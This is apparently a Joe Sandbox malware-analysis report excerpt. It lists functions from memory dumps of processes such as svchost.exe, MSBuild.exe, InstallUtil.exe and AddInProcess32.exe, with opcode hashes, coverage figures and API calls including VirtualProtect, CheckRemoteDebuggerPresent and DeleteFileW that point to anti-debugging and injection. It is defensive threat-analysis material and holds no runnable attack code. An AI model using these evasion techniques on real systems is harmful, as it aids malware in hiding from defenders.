Opcode Fuzzy Hash: 177e845c0d66ac708e524cc20289556cd677f5e8c4ba8a7afb3c2348e5374c02
Instruction Fuzzy Hash: 48517F7090874C8FDB58DF68C895BE9BBF0FB5A310F1442AED049E3292DB74A885CB41

Function 00007FFD9B8B5D7A Relevance: 1.7, APIs: 1, Instructions: 173
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE ref: 00007FFD9B8B9BF6

Memory Dump Source

Source File: 0000000A.00000002.1969659352.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd9b8a0000_svchost.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: b814a722f4dab48a100f94a665e05b3ee0f650a0d81f61a330cb18c8505532da
Instruction ID: 7480ef5e584ce30629708b8527eb9e55ae1cc6a212bd87b67aaa172c4afb7595
Opcode Fuzzy Hash: b814a722f4dab48a100f94a665e05b3ee0f650a0d81f61a330cb18c8505532da
Instruction Fuzzy Hash: EA513A7091861C8FDB58DF98C889BEDBBF1FB69310F10426ED44AE3251DB70A981CB81

Function 00007FFD9B8A0A0D Relevance: 1.6, APIs: 1, Instructions: 129
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeConsole.KERNELBASE ref: 00007FFD9B8A0ACE

Memory Dump Source

Source File: 0000000A.00000002.1969659352.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd9b8a0000_svchost.jbxd

Similarity

API ID: ConsoleFree
String ID:
API String ID: 771614528-0
Opcode ID: 5dc6d9aaa757d76c70d49a5396d6ec0cd4e8d21fb71b9ad02441eb8f8acd071d
Instruction ID: 5baf194f44b338c55ecad333380663aeb053750f55ca5f05eb54cccbf1d605c9
Opcode Fuzzy Hash: 5dc6d9aaa757d76c70d49a5396d6ec0cd4e8d21fb71b9ad02441eb8f8acd071d
Instruction Fuzzy Hash: D0418F34A0875C8FDB54DF98D889BEDBBF0FB1A311F1001AAD049D7292DB74A945CB51

Function 00007FFD9B8A04BA Relevance: 1.6, APIs: 1, Instructions: 119
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeConsole.KERNELBASE ref: 00007FFD9B8A0ACE

Memory Dump Source

Source File: 0000000A.00000002.1969659352.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd9b8a0000_svchost.jbxd

Similarity

API ID: ConsoleFree
String ID:
API String ID: 771614528-0
Opcode ID: 69c462d13083fb14242d3baa2a2989662032da44aea96315fd0228cc75da8a4d
Instruction ID: 2817f09ccf70d877e423d951d9c9eca740b244cc188c672a5da6979135c399b6
Opcode Fuzzy Hash: 69c462d13083fb14242d3baa2a2989662032da44aea96315fd0228cc75da8a4d
Instruction Fuzzy Hash: 43314774A0871C8FEB58DF98D889BEDB7F0FB19311F10416AD00AE7252DB74A986CB50

Function 00007FFD9B970E29 Relevance: 1.0, Instructions: 965COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1972138673.00007FFD9B970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd9b970000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c8890e8c0b674af97a38318c3cdb423636b07536566b0870ade05e86a9788f76
Instruction ID: 1c6b627dbdab4dae97c32f94490dd1dcdcc8e5c7f6a49c2054bacabe74038651
Opcode Fuzzy Hash: c8890e8c0b674af97a38318c3cdb423636b07536566b0870ade05e86a9788f76
Instruction Fuzzy Hash: 50524A31A1F7D95FD766DB6888A55A47FE0EF56304B0A02FFD4C9CB0A3DA14A906C381

Function 00007FFD9B971269 Relevance: .2, Instructions: 233COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1972138673.00007FFD9B970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd9b970000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f479dfa262346e44a5e99cca58182ae8353678a5d480ddf3a3a955f4abfef33a
Instruction ID: 8e02854ff1f5156515157645e79671cf57781c21fa8b63dddbfa08aed4e92d89
Opcode Fuzzy Hash: f479dfa262346e44a5e99cca58182ae8353678a5d480ddf3a3a955f4abfef33a
Instruction Fuzzy Hash: BC61383061EBD95FD76ADB6888B59A47FF0EF5630470A01EAD08AC71A3DA18A906C341

Analysis Process: InstallUtil.exePID: 8084, Parent PID: 7792COMMON

Execution Graph

Execution Coverage:	12.1%
Dynamic/Decrypted Code Coverage:	80%
Signature Coverage:	12%
Total number of Nodes:	25
Total number of Limit Nodes:	4

Executed Functions

Function 066BF7D8 Relevance: 2.0, APIs: 1, Instructions: 538
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000F.00000002.2930382102.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_66b0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0723b451c9175eb2c81d1b1de37551f633482b98c8e0b4b081202e372767056c
Instruction ID: 31bb10d277fe66476f442c9f491ad1f4375d287575a3e1c9430ac0afc5cbd026
Opcode Fuzzy Hash: 0723b451c9175eb2c81d1b1de37551f633482b98c8e0b4b081202e372767056c
Instruction Fuzzy Hash: 8F12A234E00209DFDF64DF69D980BAEB7B2EB88314F109529E419E7365C735E886CB91

Function 010A7EE0 Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CheckRemoteDebuggerPresent.KERNELBASE(?,?), ref: 010A7F57

Memory Dump Source

Source File: 0000000F.00000002.2875170138.00000000010A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_10a0000_InstallUtil.jbxd

Similarity

API ID: CheckDebuggerPresentRemote
String ID:
API String ID: 3662101638-0
Opcode ID: 8c5f57235d5290fe818f06a0d6c7d16407faef762727504e96dd257f507f59c2
Instruction ID: 866f4794a5d0f3f500848afce961d0fba222289c3fbf5cc14b4f709dc9871a6e
Opcode Fuzzy Hash: 8c5f57235d5290fe818f06a0d6c7d16407faef762727504e96dd257f507f59c2
Instruction Fuzzy Hash: 252145B1800259CFCB10CF9AD484BEEBBF4AF49320F14846AE458A3250D738AA44CF64

Function 010AB6FF Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 127
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE(00000000), ref: 010AB6C0

Strings

LR^q, xrefs: 010AB76A

Memory Dump Source

Source File: 0000000F.00000002.2875170138.00000000010A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_10a0000_InstallUtil.jbxd

Similarity

API ID: DeleteFile
String ID: LR^q
API String ID: 4033686569-2625958711
Opcode ID: 7d9307bd292b8521d4936315d9aba6bbfbce14239df40c62ed9f60a1ced3c8c3
Instruction ID: 02740b30c117ebf5ae83fe013d088cc0a8904c4a178f785ae3372db2f0be6ee7
Opcode Fuzzy Hash: 7d9307bd292b8521d4936315d9aba6bbfbce14239df40c62ed9f60a1ced3c8c3
Instruction Fuzzy Hash: 3A41CF30E006198FDB65CFA8C4447EEBBF1FF49310F548959E886EB251E7B4A942CB90

Function 010A7ED8 Relevance: 1.6, APIs: 1, Instructions: 66
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CheckRemoteDebuggerPresent.KERNELBASE(?,?), ref: 010A7F57

Memory Dump Source

Source File: 0000000F.00000002.2875170138.00000000010A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_10a0000_InstallUtil.jbxd

Similarity

API ID: CheckDebuggerPresentRemote
String ID:
API String ID: 3662101638-0
Opcode ID: 2f6c6f5f0242c6c6b65b7e59e809244b6b56820a621fe61fd1d911e23b66ca6e
Instruction ID: 2ebee09c1d686e565e1aaca785034c94cb7fa2bf0e247682b41cb6f9725fc7fa
Opcode Fuzzy Hash: 2f6c6f5f0242c6c6b65b7e59e809244b6b56820a621fe61fd1d911e23b66ca6e
Instruction Fuzzy Hash: C72148B1C01259CFCB14CFAAD484BEEBBF4EF49320F24846AE459A3251D738A944CF64

Function 010AB648 Relevance: 1.6, APIs: 1, Instructions: 57
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE(00000000), ref: 010AB6C0

Memory Dump Source

Source File: 0000000F.00000002.2875170138.00000000010A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_10a0000_InstallUtil.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 5ba89544c8a84bd8acf9879c8aaf2b91363ff63876e1c5fb2161672811acbbd6
Instruction ID: cc1fb15c7c92460c9745d4a9a3b5253cd43e67c13b3be621e040867a57e80fca
Opcode Fuzzy Hash: 5ba89544c8a84bd8acf9879c8aaf2b91363ff63876e1c5fb2161672811acbbd6
Instruction Fuzzy Hash: DF2136B1D006598FDB14CF9AD5447EEFBF0BF48320F14816AD858A7250D738A940CFA5

Function 010AB650 Relevance: 1.6, APIs: 1, Instructions: 56fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNELBASE(00000000), ref: 010AB6C0

Memory Dump Source

Source File: 0000000F.00000002.2875170138.00000000010A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_10a0000_InstallUtil.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: b4af220e793b9a456f3c9375437f740e3972ec32b7b5c470e1a991c6369ecee2
Instruction ID: 3acaba1da30b885fd9ed24783c635d414b47064a2f4fd9ac35cff8625cec1d3d
Opcode Fuzzy Hash: b4af220e793b9a456f3c9375437f740e3972ec32b7b5c470e1a991c6369ecee2
Instruction Fuzzy Hash: 101133B1D0061A9BCB14CF9AC544B9EFBF4FF48320F10816AD858A7250D738A940CFA5

Function 00D5D005 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2870471873.0000000000D5D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D5D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_d5d000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 917d9fda79aea05038528857c9647f5e1f931535f198d8df651be8de1a3ae0de
Instruction ID: 799acf0d80a69352c0ded79a97b80837701f5a9e51876daf637f7580cb70113d
Opcode Fuzzy Hash: 917d9fda79aea05038528857c9647f5e1f931535f198d8df651be8de1a3ae0de
Instruction Fuzzy Hash: EA311A7550E3C08FDB138B24C9A4711BF71AB47214F1985DBD8898F2A7C22A980ECB72

Function 00D5D044 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2870471873.0000000000D5D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D5D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_d5d000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dcc1cee6433e21c30ab9b3d4fc4fa6f38543be9753cb15a96bccd28095cb3dbd
Instruction ID: d274a194506bb3bb8cb8482f78b1bec27d1d53b2ea52c6ec78da0c962e71a664
Opcode Fuzzy Hash: dcc1cee6433e21c30ab9b3d4fc4fa6f38543be9753cb15a96bccd28095cb3dbd
Instruction Fuzzy Hash: 4121F271504204DFCF24DF28C9C4B26BBA6FB84315F24C569EC494B292C73AD84ACA71

Analysis Process: MSBuild.exePID: 7752, Parent PID: 7872COMMON

Execution Graph

Execution Coverage:	13.1%
Dynamic/Decrypted Code Coverage:	83.1%
Signature Coverage:	0%
Total number of Nodes:	89
Total number of Limit Nodes:	10

Executed Functions

Function 066BF7D8 Relevance: 2.0, APIs: 1, Instructions: 538
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000001A.00000002.2937218045.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_66b0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5bf7fc2a4c7236199340c17786e3be355f80735fe8de9ea6f9e406844dfe8897
Instruction ID: e3f158b0632a2dd14a0d48c4f90fe35e918219447acd7a0d7a4e814bbe890fe0
Opcode Fuzzy Hash: 5bf7fc2a4c7236199340c17786e3be355f80735fe8de9ea6f9e406844dfe8897
Instruction Fuzzy Hash: 93129F35A00209DFDF54DF68D890BEEB7B2EB88310F109529E415EB365DB35E886CB91

Function 00F37ED8 Relevance: 1.6, APIs: 1, Instructions: 66
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CheckRemoteDebuggerPresent.KERNELBASE(?,?), ref: 00F37F57

Memory Dump Source

Source File: 0000001A.00000002.2874840637.0000000000F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_f30000_MSBuild.jbxd

Similarity

API ID: CheckDebuggerPresentRemote
String ID:
API String ID: 3662101638-0
Opcode ID: 57c8636c577afc220febd02c1c82ee3cdfdaed6310a198e8c626e20da103799f
Instruction ID: 11ffc3a48b485efa3b0c6a168990a9454ef6217fc7e8b204aa235a3db30e1328
Opcode Fuzzy Hash: 57c8636c577afc220febd02c1c82ee3cdfdaed6310a198e8c626e20da103799f
Instruction Fuzzy Hash: 182136B1800259CFCB10CFAAD484BEEBBF4BF48324F24846AE459B7251C7789944CF64

Function 00F37EE0 Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CheckRemoteDebuggerPresent.KERNELBASE(?,?), ref: 00F37F57

Memory Dump Source

Source File: 0000001A.00000002.2874840637.0000000000F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_f30000_MSBuild.jbxd

Similarity

API ID: CheckDebuggerPresentRemote
String ID:
API String ID: 3662101638-0
Opcode ID: 325974d9f89231bce861f9ae46a73c5839e7503de16f2e8b7bc4a88c219032be
Instruction ID: 448f74e4223a82765a93e594cbe07338465036bb2ed6a1e44658c35cacc6521a
Opcode Fuzzy Hash: 325974d9f89231bce861f9ae46a73c5839e7503de16f2e8b7bc4a88c219032be
Instruction Fuzzy Hash: AD2148B1800259CFCB10CF9AD444BEEBBF4AF48320F14842AE458B3251C778A944CFA4

Function 00F3AE6C Relevance: 1.6, APIs: 1, Instructions: 59
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE(00000000), ref: 00F3B6C0

Memory Dump Source

Source File: 0000001A.00000002.2874840637.0000000000F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_f30000_MSBuild.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 427f86232d5f717a609032953f48064c973b379d740ff865cbff9335e48903aa
Instruction ID: 4d113752c0b58daa68905afec45d4a9275197e66e4de039c94699fb730b7aa71
Opcode Fuzzy Hash: 427f86232d5f717a609032953f48064c973b379d740ff865cbff9335e48903aa
Instruction Fuzzy Hash: 5F2156B2C0061A9BCB10CF9AC4457AEFBF4FF48320F10816AD958B7251D738A940CFA4

Function 00F3B648 Relevance: 1.6, APIs: 1, Instructions: 57
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE(00000000), ref: 00F3B6C0

Memory Dump Source

Source File: 0000001A.00000002.2874840637.0000000000F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_f30000_MSBuild.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: a1a0572bb143a2e10cea36ede7ada01f8b63029f3b75005af39b79d5546a01ff
Instruction ID: be7f7e4c8cdbcbe6783502826aab8a0c42737074a85589b020dcdc753a7c4b4a
Opcode Fuzzy Hash: a1a0572bb143a2e10cea36ede7ada01f8b63029f3b75005af39b79d5546a01ff
Instruction Fuzzy Hash: 592136B2C0065A8FCB10CF9AD5457EEFBF0BF48320F14816AD858A7651D738A944CFA4

Function 00B9D006 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2869951510.0000000000B9D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B9D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_b9d000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae52bd4ce5a13800f7cd731cfbf6be1f011c68f6cd6172ea6336cdffe2876b97
Instruction ID: 409fe2f75e71ab4882865fb4b71ba616ba2f6d9639bd59806976e20f6e7919fc
Opcode Fuzzy Hash: ae52bd4ce5a13800f7cd731cfbf6be1f011c68f6cd6172ea6336cdffe2876b97
Instruction Fuzzy Hash: 9831727150D3C48FCB038B24C8A4711BF71AF57214F29C5EBD9858F1A3C22A980ACB62

Function 00B9D044 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2869951510.0000000000B9D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B9D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_b9d000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5525160faebeb2c263057c2ce2b19ae719faa23bef9984d8f549621e8ca8c81f
Instruction ID: 53ce9ddadc07adf78728284e58d0e109cf7812b4e07e2b09c536a704eb338c69
Opcode Fuzzy Hash: 5525160faebeb2c263057c2ce2b19ae719faa23bef9984d8f549621e8ca8c81f
Instruction Fuzzy Hash: A021FF71604204EFCF14DF25C9D4B26BBA5FB84314F20C6BDE8494B292C73AD846CA62

Analysis Process: svchost.exePID: 7748, Parent PID: 2580COMMON

Execution Graph

Execution Coverage:	10%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	6
Total number of Limit Nodes:	0

Executed Functions

Function 00007FFD9B873740 Relevance: 1.7, APIs: 1, Instructions: 211
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000001B.00000002.1974901019.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ffd9b870000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2cd0d107aae54e9e530b7cd8ed8832493f59ef701dd32f7fb06c4c27613f2670
Instruction ID: e9511e67554b4057f5ab82a40ba37032f35a0ef758e46ca91f5efe79e95d0215
Opcode Fuzzy Hash: 2cd0d107aae54e9e530b7cd8ed8832493f59ef701dd32f7fb06c4c27613f2670
Instruction Fuzzy Hash: 13617B7090974C8FDB58DF98C895AEDBBF1FF1A304F1041AED449972A2DB74A981CB81

Function 00007FFD9B8747A6 Relevance: 1.7, APIs: 1, Instructions: 202
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE ref: 00007FFD9B8748F5

Memory Dump Source

Source File: 0000001B.00000002.1974901019.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ffd9b870000_svchost.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: ea6b8647a9d1dffe86f6dc8d07fb68c9e33c6332b547b0c26ccf348918b4cbdd
Instruction ID: 4d6d0a89a4bfdff26def151381f3cc6601e47f6f5342431bfdd2e98f42a5ccde
Opcode Fuzzy Hash: ea6b8647a9d1dffe86f6dc8d07fb68c9e33c6332b547b0c26ccf348918b4cbdd
Instruction Fuzzy Hash: 8A516E7090874C8FDB58DF98C895AEDBBF1FB5A314F1402AED449D3252DB74A981CB41

Function 00007FFD9B885D7A Relevance: 1.7, APIs: 1, Instructions: 173
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE ref: 00007FFD9B889BF6

Memory Dump Source

Source File: 0000001B.00000002.1974901019.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ffd9b870000_svchost.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 97176c4ed2b2d59ebe52bae5b424f54e1de0595eee9bd40f57e0470bab23c6aa
Instruction ID: 35e74c02a292908a4651847c8f65a94c040a520b712d55d38e9fbf4139a2ce27
Opcode Fuzzy Hash: 97176c4ed2b2d59ebe52bae5b424f54e1de0595eee9bd40f57e0470bab23c6aa
Instruction Fuzzy Hash: 7A514970918A1C8FDB58DF98C885BEDBBF1FB69310F10526ED44AE3251DB70A981CB81

Function 00007FFD9B870A0D Relevance: 1.6, APIs: 1, Instructions: 129
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeConsole.KERNELBASE ref: 00007FFD9B870ACE

Memory Dump Source

Source File: 0000001B.00000002.1974901019.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ffd9b870000_svchost.jbxd

Similarity

API ID: ConsoleFree
String ID:
API String ID: 771614528-0
Opcode ID: 0552627bd3849fa4cbd52bdf8b0f491f63d6ecc8b5810a193499a0d285625108
Instruction ID: 203c1191bf833218a08375f0cecf431bf62cf45724dc2cee3e2f63236d777561
Opcode Fuzzy Hash: 0552627bd3849fa4cbd52bdf8b0f491f63d6ecc8b5810a193499a0d285625108
Instruction Fuzzy Hash: A3418E34A0875C8FDB54DF98C889BEDBBF0FB5A321F1002AAD049D7252DB74A985CB41

Function 00007FFD9B8704BA Relevance: 1.6, APIs: 1, Instructions: 119
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeConsole.KERNELBASE ref: 00007FFD9B870ACE

Memory Dump Source

Source File: 0000001B.00000002.1974901019.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ffd9b870000_svchost.jbxd

Similarity

API ID: ConsoleFree
String ID:
API String ID: 771614528-0
Opcode ID: ec7e8679bd94958b5e8a53d583dc403cbdfe37b550ef92cd66ab3a0430360f8d
Instruction ID: 8358f3585d54f737cfb9521507699d0d789d61b7c413c9e1b8ec3ea90fa6f376
Opcode Fuzzy Hash: ec7e8679bd94958b5e8a53d583dc403cbdfe37b550ef92cd66ab3a0430360f8d
Instruction Fuzzy Hash: 1C315974A0871C8FEB58DF98D889BEDB7F0FB19311F10416AD00AE7252DB74A985CB50

Function 00007FFD9B940D95 Relevance: 1.3, Strings: 1, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

")B,, xrefs: 00007FFD9B940E0F

Memory Dump Source

Source File: 0000001B.00000002.1975721581.00007FFD9B940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ffd9b940000_svchost.jbxd

Similarity

API ID:
String ID: ")B,
API String ID: 0-3967059106
Opcode ID: 1fb23fcd7ccedaddec364b06bb654154e5f159d1948334ba81478296ec819e98
Instruction ID: 75aa7c752d1e674fff9307883e9b70fef53a032559592d9daf4b5aac1aef7a32
Opcode Fuzzy Hash: 1fb23fcd7ccedaddec364b06bb654154e5f159d1948334ba81478296ec819e98
Instruction Fuzzy Hash: 2A11E542A1EBC51FD30B5B782C316A47F91EF57610F0A06FBD488CB1E3D8485E469362

Function 00007FFD9B94139A Relevance: .3, Instructions: 274COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.1975721581.00007FFD9B940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ffd9b940000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ac2205d5ddfbac1f6ac5e5da8c19971ab1bf5784ee72f3f67334b468943aaaa
Instruction ID: 967cd4a5c45cae49ae6b1215567df96de1692e6db22ff315da10961700fd59d7
Opcode Fuzzy Hash: 2ac2205d5ddfbac1f6ac5e5da8c19971ab1bf5784ee72f3f67334b468943aaaa
Instruction Fuzzy Hash: 7E815A72A1F7E95FD766DB2888651943FE1FF16304B0A06BBD489C70A3DA14A946C381

Function 00007FFD9B94026B Relevance: .2, Instructions: 221COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.1975721581.00007FFD9B940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ffd9b940000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3da2266546c56006460cca17aafc7c03afef277312f9bfaaf68cf89bf16f5c4
Instruction ID: 7c9b9d71736a565501a1b67d5f2e2d1269f81039039eae891f7c4d146c8211da
Opcode Fuzzy Hash: a3da2266546c56006460cca17aafc7c03afef277312f9bfaaf68cf89bf16f5c4
Instruction Fuzzy Hash: 6F713A31A19A8D8FDB66DF58C8A09F87BF1FF55304F1506AED04ECB1A6DA346942C740

Analysis Process: AddInProcess32.exePID: 7660, Parent PID: 7748COMMON

Execution Graph

Execution Coverage:	11.1%
Dynamic/Decrypted Code Coverage:	54.5%
Signature Coverage:	0%
Total number of Nodes:	11
Total number of Limit Nodes:	1

Executed Functions

Function 06AAF7D8 Relevance: 2.0, APIs: 1, Instructions: 535
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000025.00000002.2938814555.0000000006AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_6aa0000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 28b410ac54b2095de045456466780910b25d83868fe8c13fafab2eec074f0152
Instruction ID: 012803190bf2c53dfcf1f6822051701dd12d34f00ba087096f4e57c39e83f55b
Opcode Fuzzy Hash: 28b410ac54b2095de045456466780910b25d83868fe8c13fafab2eec074f0152
Instruction Fuzzy Hash: 88129234E002059FDF64EF69D980BAEB7B2EB88314F10852AD409EB355DB35EC46CB91

Function 01097ED8 Relevance: 1.6, APIs: 1, Instructions: 66
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CheckRemoteDebuggerPresent.KERNELBASE(?,?), ref: 01097F57

Memory Dump Source

Source File: 00000025.00000002.2876276275.0000000001090000.00000040.00000800.00020000.00000000.sdmp, Offset: 01090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_1090000_AddInProcess32.jbxd

Similarity

API ID: CheckDebuggerPresentRemote
String ID:
API String ID: 3662101638-0
Opcode ID: fd15156f32e3dc2894e455c63db10319596e6004cacb82e83d279d9e45b9122e
Instruction ID: 2f091de8776e598950a4d90ff8f6100c2684ec81debd79ad697765d1fac36804
Opcode Fuzzy Hash: fd15156f32e3dc2894e455c63db10319596e6004cacb82e83d279d9e45b9122e
Instruction Fuzzy Hash: F52139B2800259CFCB10CFAAD484BEEBBF4AF48310F24846AE459B7251C7389944CF65

Function 01097EE0 Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CheckRemoteDebuggerPresent.KERNELBASE(?,?), ref: 01097F57

Memory Dump Source

Source File: 00000025.00000002.2876276275.0000000001090000.00000040.00000800.00020000.00000000.sdmp, Offset: 01090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_1090000_AddInProcess32.jbxd

Similarity

API ID: CheckDebuggerPresentRemote
String ID:
API String ID: 3662101638-0
Opcode ID: d46bfb245d6c8616cc8e0c47ebf0a8897e149a57a87e2f8db7d75be4cd6c2e9c
Instruction ID: 26f49d1d4f353d519edfa9130dcfc4762e9e461d09000694f63d6d1d000b88e5
Opcode Fuzzy Hash: d46bfb245d6c8616cc8e0c47ebf0a8897e149a57a87e2f8db7d75be4cd6c2e9c
